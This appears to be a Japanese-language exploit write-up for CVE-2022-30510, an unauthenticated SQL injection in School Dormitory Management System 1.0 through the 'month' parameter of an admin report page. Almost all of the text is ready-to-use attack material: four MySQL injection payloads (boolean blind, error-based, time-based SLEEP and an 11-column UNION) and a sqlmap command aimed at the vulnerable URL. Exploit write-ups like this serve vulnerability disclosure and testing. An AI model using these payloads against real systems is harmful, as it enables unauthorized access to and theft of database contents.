bigzooooz/cve-2022-30510学校寮管理システム 1.0 - 未認証SQLインジェクション
School Dormitory Management System 1.0 - 未認証SQLインジェクション
[#] 脆弱性の場所:
$_GET['month'] が /dms/admin/reports/daily_collection_report.php:59 にあります。
パラメータ: month (GET) タイプ: ブーリアンベースのブラインド タイトル: MySQL RLIKE ブーリアンベースのブラインド - WHERE, HAVING, ORDER BY または GROUP BY 句 ペイロード: page=reports/daily_collection_report&month=2022-05' RLIKE (SELECT (CASE WHEN (2158=2158) THEN 0x323032322d3035 ELSE 0x28 END))-- UWOA
タイプ: エラーベース
タイトル: MySQL >= 5.0 AND エラーベース - WHERE, HAVING, ORDER BY または GROUP BY 句 (FLOOR)
ペイロード: page=reports/daily_collection_report&month=2022-05' AND (SELECT 1645 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(1645=1645,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UlyZ
タイプ: タイムベースのブラインド
タイトル: MySQL >= 5.0.12 AND タイムベースのブラインド (クエリ SLEEP)
ペイロード: page=reports/daily_collection_report&month=2022-05' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))uaoG)-- rTvo
タイプ: UNION クエリ
タイトル: MySQL UNION クエリ (NULL) - 11 カラム
ペイロード: page=reports/daily_collection_report&month=2022-05' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x46716d4777627770436a6b56566f764c4d6f5a6b476b615041477742414f6979424e4f51744a5563,0x71766b7a71),NULL,NULL#
[#] SQLMAPを使用したエクスプロイト:
sqlmap -u "http://localhost/dms/admin/?page=reports/daily_collection_report&month=2022-05" --dbms=mysql